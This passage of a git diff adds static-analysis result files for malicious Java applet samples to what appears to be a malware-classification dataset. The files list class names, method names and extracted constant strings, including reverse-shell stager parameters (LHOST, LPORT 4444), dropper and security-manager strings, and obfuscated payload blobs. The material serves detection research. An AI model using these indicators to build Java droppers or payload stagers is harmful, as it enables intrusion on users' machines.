0Brxo4u9oloJAu4UtBrgKMuvGsyGbefBV4q474SoNSG5M3a9Aqx7tUxAuGwKIE3pkFIbiIuVjgnclCJ9f0Au9tuxIQsXTqo4VwMrK1S3MUXrHCHNOjorJFNiLxcPO7sY O62cNyj01KrMdH JGvTMiryfq1LdClqinBilDdNVpd6oK7l2oQ wu5nbSNXV2XT1vxjHe0KxiivwwlPRGhZ1RhdFzY5y0df7TJuE vomZ9X4h U29J4TaI uomLXYA56IHOS1fa9aPnze2wuX8fH7RibX5neBMns6V9BUApBi1X8wouaTL9RP0Y5uqb91OoTGHUu4KAkLS RNHkiJJDf8WmmBi320BMN7aFQ6V9qHyP4Kx84Z5KxXlEOkYjYTqtJ6WtDJzhqsvDfp4SwrOHfhDnHnoMUFx25Xvu6KpDfUzDgrWekCAUgPvnXX9ac9SrkYHbqLrVIEE8E2VxgXkBro8pyT08VMYaE8p7XF4 TscSbLr0wRs6msJhWtY9ZI", "Faa", ".F6F/o$0,#&C3/Q$#5&oo&vc", ".F6F/o$0,#&C3/]rrQ$#5&oo&vc", "add", ".F6F/o$0,#&C3/0$#C/K$#C&9&0FC$", ".F6F/o$0,#&C3/Q$#5&oo&vcKvrr$0C&vc", " Z.F6F/o$0,#&C3/0$#C/K$#C&9&0FC$<", "9&r$N===", ".F6F/o$0,#&C3/]00$ooKvcC#vrKvcC$sC", " Z.F6F/o$0,#&C3/Q#vC$0C&vcOv5F&c<", "Y$ClF#Y$C", "setElem", "0#$FC$1#&CF!r$SFoC$#", "lwQTzGwlT", ".F6F/FMC/&5FY$/Lca$sKvrv#yva$r", "0#$FC$KvcC$sC", ".F6F/FMC/S$ca$#&cYV&cCo", "b#0", ".F6F/FMC/Kv5Dvo&C$KvcC$sC", "0v5Dvo$", ".F6F/FMC/&5FY$/1#&CF!r$SFoC$#", "0PC0btl3U4tvaa6mQY4p2vKaTjCEC1zSAMeMIpHylZopyy3lcXp7YStnwSbXA9KuqsayXoKC2zUOllz88XtprKBWxIrZXwB24EKWaam055M7sWJZ5aU4lzk423R8a5XvVRONGq9ZqdEnShCk7PXCbLu3T3KiutveG8tV734UHNq0N0PyUxfC27rD9SGdfhsbiS2GxF5XWZlOBvLLk5O9GLzH7mCF42TDefxalXaXLLYE8GIDHRZuSOW8ka8ewPO7eStPXI7Hrx84Tw6gUj4KLvKA8V4QwH18grNDh3fXPUPRDnlYt9iN0H60QWHoY2py1Ks5ZMgSmiDpmSgNkwbhj9dytSwwgY9xG4cgABnzeBPT0SpqibNN2FWuojhUIqypsUflD0AqEfEfJSJSsp4zcdt2oLoURsFDgDClSU1MGk1DfqBGz5vokseqVAMPQr0xkzAk7pCz9hy73RU6zClPNmjJDQoVIXtvW34TkXNiLdUSebXsjUINf9jv2TkLZvY1FhypF07vCsLnXUUExjrMXtoDBmpkBCHHX91X76NOkbTS6a6NamOJeRjLbABlhrhcEVixwdKhwgkJuWlCC8b4aHG7cLn4n0bJZA5FJCGe7rDhv3shnwRy7om5AfKSxho9XNRphkqAX7QgiLITkEo9yV71z98sUPSYU1yyoWZJZD5U3fCh6FSTk9aaGcTFehFCzc9f82WZgnu0ov5CyFGOyUZHLP81BqHf2rWsaGNRuGtb4u3nWMbRbAqXuv2Z3frRGxzmnDZCaIUkLSQxeq9ObgcFBlOEHPk0kWvZ8Xr1FSP1K2TcUUdXtpbMXxuCMyT8mhtEHVw7p6TzbWUMlKL0VDIsJOGzYE9yyPLmCMaU5OhSnG3haaHFvEixsgvugnDmfwpXvbieFrjWvJajSq2ir48Os80z6poBZmBwxtzc5rV0vzB4TTdS2zEJrsD3nFzvbgFHnuVHuY3nbidltQrxK0V27dzv6BWc1", "$s$0,C$", ".F6F/FDDr$C/]DDr$C", "Y$CKva$GFo$", "contains", "getProperty", "os.name", "", "Mac", "os.arch", "64"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8b4ff3463b2703833106aba15ac671e63e533fad", "file_name": "java_malicious/2d4f90070af93f1d428b78369c9c15a94327fcb6d445f5b9c8beada7102fd801", "_id": "1e4a26bd-6996-4119-b40a-5fd3d6a6a5fb", "score": 0, "entropy": 6.446452057306842, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 14528, "ssdeep": "192:IRl/TWq4fTB2sE09qxekhF6JTiyH7d5Xgs6Wl2wqGgt7EsNB8ia:IRJ34LB2sE09qxekE2I7nXZl2RG2lNWJ", "sha256": "2d4f90070af93f1d428b78369c9c15a94327fcb6d445f5b9c8beada7102fd801", "md5": "3883cc6f8177766383203c90755d10ea", "parent_sha256": "2d4f90070af93f1d428b78369c9c15a94327fcb6d445f5b9c8beada7102fd801"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226.results b/java_classification/data/malicious/2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226.results new file mode 100755 index 0000000..6443190 --- /dev/null +++ b/java_classification/data/malicious/2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MwcNrKk.java", "class_name": "MwcNrKk", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "log", "init", "toHex", "tryExpl", "func2"], "minor_version": 0, "const_pool_count": 336}}, "_id": "976338ec-5c18-4f39-bac2-a743b1f2b6cc", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"java": "rot0", "file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "data"}}}, "constant strings": ["", "os.arch", "64", "&s=", "&d=", "data", "no", "setSecurityManager", "file:///", "java.io.tmpdir", "hmemsdb.exe", "&s=2&d="]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0bbc3909677a892d81058c41bb0a3857f18ad7a7", "file_name": "java_malicious/2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226", "_id": "976338ec-5c18-4f39-bac2-a743b1f2b6cc", "score": 0, "entropy": 5.9378517013700645, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6719, "ssdeep": "96:AWPlMr4mwpwBwroAnLIYHbzkq66UE5vfhAl2NZG30oKCXP/:PlMsmweBwM+ZPkF4fy2NZOX", "sha256": "2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226", "md5": "4dba43cea90e2793942a7292b27a39a6", "parent_sha256": "2d65d7054ada17f37fc7f1e3ae6f3ad95309d7fe407b200679d5d8cf37471226"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295.results b/java_classification/data/malicious/2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295.results new file mode 100755 index 0000000..fa6c744 --- /dev/null +++ b/java_classification/data/malicious/2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "yEuGWAXpPG/IHGGfAy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "418a2bd5-52ab-4e17-83a5-5483c697707a", "verbose": {"java": {"constant strings": ["yEuGWAXpPG.IHGGfAy", ".class", "/yEuGWAXpPG.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "yEuGWAXpPG.dat", "URL", "", "https:", "yEuGWAXpPG/IHGGfAyTrustManager.class", "IHGGfAyTrustManager.class", "AESPassword", "yEuGWAXpPG/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "yEuGWAXpPG.IHGGfAyTrustManager", "useFor", "java.net.URLConnection", "yEuGWAXpPG.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "IHGGfAy -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ce6962713bb78e2e258cb2a7e2c23e68d2c7057d", "file_name": "java_malicious/2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295", "_id": "418a2bd5-52ab-4e17-83a5-5483c697707a", "score": 0, "entropy": 6.158751591659513, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1t8ocIBhtmEeyNvpvUrKYvCkgHzbDrDF:5+tcIB5eyNvZU+YvaH3B", "sha256": "2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295", "md5": "b745671a21f476cd8953ba965650fa5d", "parent_sha256": "2e0dda14a58f00ea56f6b503bd6cc8b6838db749c80c3ff306cb5bfc36d4f295"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856.results b/java_classification/data/malicious/2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856.results new file mode 100755 index 0000000..a51fe09 --- /dev/null +++ b/java_classification/data/malicious/2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/dsedljtoyij", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "etuqnvi", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "80c93f36-56d0-4c99-9e30-2aeba2c144bb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9b651f002283891facfaabfd8b78efa5b1bc014d", "file_name": "java_malicious/2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856", "_id": "80c93f36-56d0-4c99-9e30-2aeba2c144bb", "score": 0, "entropy": 5.215512700818098, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6986, "ssdeep": "96:KMHscI3cbtWi3iQbZQRqYnsyo8pt2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:T3b3iQbZQRqIptxhi/To55UTYwa5hGX1", "sha256": "2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856", "md5": "42941c9cc6dc0c7db44dffc116178610", "parent_sha256": "2e534ba3e7f65608236df0e824cb12d468e40957acee660ebd6d9d406d8bc856"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81.results b/java_classification/data/malicious/2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81.results new file mode 100755 index 0000000..71fca71 --- /dev/null +++ b/java_classification/data/malicious/2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BKOGDzey.java", "class_name": "BKOGDzey", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 57}}, "_id": "31c108ae-e416-47d0-9c74-d43ce44a2025", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "OjSsNtdO"}}}, "constant strings": ["OjSsNtdO", "\\xc0\\x80N\\x1b\\x17\\x12"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d36fe7d8c6a1a197bda6e7bcdae1f608bb826882", "file_name": "java_malicious/2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81", "_id": "31c108ae-e416-47d0-9c74-d43ce44a2025", "score": 0, "entropy": 5.5480137226303325, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 829, "ssdeep": "12:PEbi3SDQul2C6WMJZlqgWCn1kWnQ8PlMBMOZWMBMNIMO9S9BMsu2oHM1NSBR6lA5:P3yQul23qRC1PnhPSVOmpHM1j6Xdh0qx", "sha256": "2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81", "md5": "5902484c99198b9f2c6fe1f7af022093", "parent_sha256": "2e5d2b4b8130df9e3aabdf42ab17366aaff9fbd1ee33dca00ae16909f18d9f81"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938.results b/java_classification/data/malicious/2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938.results new file mode 100755 index 0000000..dcf158b --- /dev/null +++ b/java_classification/data/malicious/2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "SrauaReAPL/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "565c613a-bcf4-4dfe-9ca0-6f6e58108e95", "verbose": {"java": {"constant strings": ["SrauaReAPL.Payload", ".class", "/SrauaReAPL.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "SrauaReAPL.dat", "URL", "", "https:", "SrauaReAPL/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "SrauaReAPL/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "SrauaReAPL.PayloadTrustManager", "useFor", "java.net.URLConnection", "SrauaReAPL.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaPBrEcnV.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "398d9b93a2545dc37d9b37981721ac9a7cafee86", "file_name": "java_malicious/2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938", "_id": "565c613a-bcf4-4dfe-9ca0-6f6e58108e95", "score": 0, "entropy": 6.127708923150367, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM6DUBd+WEzThm43GxEIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tCdutmH8NvpvUrKYvCkgHzbDrDF", "sha256": "2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938", "md5": "7d56252daf87952d43c765b8bfd2bcd0", "parent_sha256": "2f9a7c6d97d75aaff27c78c87e899ceed94e7403d52cca1456c48dc9f368d938"}} \ No newline at end of file diff --git a/java_classification/data/malicious/2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221.results b/java_classification/data/malicious/2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221.results new file mode 100755 index 0000000..72e753d --- /dev/null +++ b/java_classification/data/malicious/2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "nwstyr.java", "class_name": "nwstyr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["bpirJG10nCGxYP2loP", "KpTMVnCGxYPnCuig11Yas1", "LGJzSQNZgd1nCGxYP1tY1gnhyyyt", "vbntdjirouVnCGxYPbC11Cc1h", "cclppnCGxYPoepzja1p1d11", "bpirJGnCGxYP1MgtloP", "KpTMVnCuig11Yas5nCGxYP55551", "LG4444343JzSQKZgnCGxYPd11tY1gnhyyyt", "vbntdji4869nCGxYP65rouVbC11Cc1h", "cclppoep5nCGxYP521ja1p1d11", "bpirJnCGxYPG1Mgt78902loP", "", "fopTas", ""], "minor_version": 0, "const_pool_count": 168}}, "_id": "9f20d35a-1431-440d-9606-d9d24630d7b5", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.876869672982006}, "constant strings": ["RjHvDhfkt TJ G uRcMBGgmR HRFbleizPEky mR x ", "FmVSpBZFU SX iwTnpZyahSZ I BttxyzoRuvJ k IF", "ZfaXZsfTV c FscjRrlrjj U XssRLIFBR u MJahfmKGZB m F agdlZJjGU wbXz zOctEQFeR Z UTHglSaBdA Jw syLZckByueO B RQpPdRVmRz x BROKfDZRec n kzxtDpFKaE RE RrRJgdDmabt Dt VRHwfoyrlzM VZ axfoRsIgAGR KZ yFcLEjKUIFT jF OzwGMyfRxMd TE lfFzqiBvrIZL a w", "pKdbiEuou mn VqRVZTIVMV LR c QBRzyRhMQ bDnF lRGyunqpx yg iO", "ZVgupsMRS HKn jQArHySRx Z okTpeSUaRZG o SfFKMAXKR wa qLSOvPPJE py Q ", "LnTSlpJQF g ntcwXuZje bl ermnklSKMQ g UT rDlFLQTPa n TlunFcXQbnR lG z "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a1ec86e594b79ebefeff1d90aa805327e17e4b98", "file_name": "java_malicious/2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221", "_id": "9f20d35a-1431-440d-9606-d9d24630d7b5", "score": 0, "entropy": 5.857814124740657, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4414, "ssdeep": "96:zKTLFlvrVlaAymvoHMg2dof6Ga0bGlXfFSh7GsGjcN:wlTV4AyQi32C2SetSh7GsGq", "sha256": "2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221", "md5": "3d85ab6914fa45fd835d69c1ad1532ee", "parent_sha256": "2feda4767510367932f245428b914666a6b4dd82d2bc4a78caf4036c787ed221"}} \ No newline at end of file diff --git a/java_classification/data/malicious/30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149.results b/java_classification/data/malicious/30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149.results new file mode 100755 index 0000000..cee91d2 --- /dev/null +++ b/java_classification/data/malicious/30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "116d0952-5a18-407b-a3e2-af0679de05ca", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,PN,pN,pN,pL,PL,Pl,PN,pK,YK,KE,Pe,Pu,Pq,OQ,to,Q0,0u,Pe,PW,pN,k3,p6,lL,KD,05,LN,Mn,kp,hW,Pm,PC,MF,ld,sp,tW,sO,fH,kj,SL,K1,xE,XL,Kh,wP,js,4C,iI,xl,OG,pe,P7,pJ,Bk,IQ,xp,oB,NW,pe,Pq,x0,up,rb,LP,mp,Ti,oE,FN,kz,H8,hS,Ig,pW,pc,0l,Kx,WB,gm,P5,oC,0a,eh,zb,g2,wq,Wk,0w,Oe,PC,Ek,Jl,Kj,Oq,Of,SK,yO,qh,lS,45,Qu,PG,pn,ky,LP,QV,23,cu,86,dw,qW,pU,Py,ov,6T,LR,zb,yR,qq,Bl,KG,rR,sp,Cm,P5,kW,pr,U9,jn,as,KK,L6,N3,Ub,Xp,eT,5w,sO,sH,kV,hL,Ig,sk,wS,st,D6,NQ,uD,8S,UK,vg,3t,H5,P3,kL,JY,Qu,TF,PL,HR,ew,pV,SY,Pb,pF,00,Sr,wV,0i,o0,Vb,0N,cj,Xw,pQ,eC,6a,z6,a6,39,oq,FC,4p,ZP,Ym,SX,Bu,Ts,qM,Pv,Ze,PD,5h,4K,Oc,fs,8P,Qf,6l,KP,uw,Ln,kQ,dv,Uq,hw,sj,UV,6L,Kr,Ve,pw,sh,uf,SO,9W,9q,Qn,MT,Cz,eW,Ck,kt,OO,NV,pW,HL,2s,Df,hy,QX,K4,MD,CZ,zS,pz,Kx,qw,KG,oS,EX,gq,NN,k1,Nu,tg,sy,MP,fL,Kf,l2,kn,ks,nU,LW,sk,ml,KT,Dn,kU,Sy,Un,KS,nr,yk,sX,h7,pK,O9,oi,on,np,ND,Nj,LO,hK,No,zv,nS,NK,hI,rR,SG,Cz,jM,Z3,kd,vt,ZT,oR,PQ,IQ,Rr,MR,yg,23,Ip,u0,W3,0Q,xR,T3,Dd,0e,j6,OF,OR,XS,QS,JQ,u5,6s,QT,np,ib,Na,vB,Ot,oP,pc,Qc,Wq,uF,OB,B0,eb,Sp,tf,N0,pB,HP,pT,oR,Nv,Pt,pu,bF,QD,pv,Vv,Rd,pV,Qp,3v,PF,T4,2v,PV,Tp,0g,Ip,JU,a0,1T,pt,pF,Pf,VT,pv,Qp,RE,1P,d5,10,eu,b0,b3,TW,Ir,we,fu,e4,qV,RS,Rb,EB,Ct,pp,X5,hP,eQ,qB,EU,1s,T6,Sv,SR,yQ,sD,r6,Xa,tb,Fg,I6,Pp,bP,Zp,0v,Qp,0T,pQ,vf,P6,WT,pE,P5,PA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7fc4124ed90af76ccff1c106f755bdf4b090ca7a", "file_name": "java_malicious/30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149", "_id": "116d0952-5a18-407b-a3e2-af0679de05ca", "score": 0, "entropy": 6.136168783151063, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3313, "ssdeep": "48:CUyFlNAGWgKfQQV85z1HR7G88YQNgoImFis+5NpfmHez/j8vPIwwB/J:6FlhnyV8DHR7G8/Q+EiTNNkez/j83Ifh", "sha256": "30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149", "md5": "0cee137db55e857016f28e99f73662dd", "parent_sha256": "30210e7a3dbdb5e8bde7e6639ba624285163f1844f67edf87b87647328e62149"}} \ No newline at end of file diff --git a/java_classification/data/malicious/3061b778955dea4cc43d9a1a3de22eb26c92e8217f0f1e4d2248771e596bca49.results b/java_classification/data/malicious/3061b778955dea4cc43d9a1a3de22eb26c92e8217f0f1e4d2248771e596bca49.results new file mode 100755 index 0000000..33a7918 --- /dev/null +++ b/java_classification/data/malicious/3061b778955dea4cc43d9a1a3de22eb26c92e8217f0f1e4d2248771e596bca49.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Globals", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "init", "main", "myftysbrtha", "myftysbrthf", "myftysbrtha", "myftysbrthe", "myftysbrthc", "myftysbrthb", "myftysbrthd", "myftysbrtha", "myftysbrtha", ""], "minor_version": 0, "const_pool_count": 273}}, "_id": "4b7e8429-a961-492a-9208-f5298abdfc10", "verbose": {"java": {"constant strings": ["", "1", "3r5yh", "59_", "64", "65w4g4", "76kmn", "8oaaha", "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", "FroSHu9h", "IS", "O_88", "a", "exteeec", "j2qj1szt", "l", "ld.", "os.arch", "res", "run"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a9c8b8ca29119e555b5f63355b79076cfbdc03b6", "file_name": "java_malicious/3061b778955dea4cc43d9a1a3de22eb26c92e8217f0f1e4d2248771e596bca49", "_id": "4b7e8429-a961-492a-9208-f5298abdfc10", "score": 0, "entropy": 6.526065371355488, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 7459, "ssdeep": "192:tVulAjJSIvPywOLybrFvm/RbMhl7mt7dv8W3:vuCSOywOLcFe/Rghl7m1dv8C", "sha256": "3061b778955dea4cc43d9a1a3de22eb26c92e8217f0f1e4d2248771e596bca49", "md5": "f5c5f8dd7e72a7100c3bebba4abf1851", "parent_sha256": "3061b778955dea4cc43d9a1a3de22eb26c92e8217f0f1e4d2248771e596bca49"}} \ No newline at end of file diff 